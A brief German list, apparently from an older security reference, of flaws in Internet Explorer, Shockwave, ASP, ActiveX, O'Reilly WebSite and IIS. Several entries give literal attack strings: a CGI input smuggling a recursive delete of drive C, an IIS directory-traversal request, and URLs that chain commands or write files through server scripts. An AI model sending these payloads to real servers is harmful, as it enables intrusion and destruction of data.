Anwendungen

• Internet Explorer -
• Shockwave-Plugins - Zugriff auf die lokale Festplatte
• Active Server Pages - Zugriff auf nicht öffentliche Dateien eines IIS
• Active X - Zugriff auf lokale Festplatte
• O'Reilley Website 1.1, - fehlerhafte CGI-Interpretation (xxx&del+/s+c:\*.*), multiple DoS
• IIS - "GET /..\.."
• IIS - http://www.domain.com/scripts/exploit.bat>PATH\target.bat oder http://www.domain.com/scripts/script_name%0A%0D>PATH\target.bat
• IIS - http://www.domain.com/scripts/expoit.bat?&commandA+?&commandB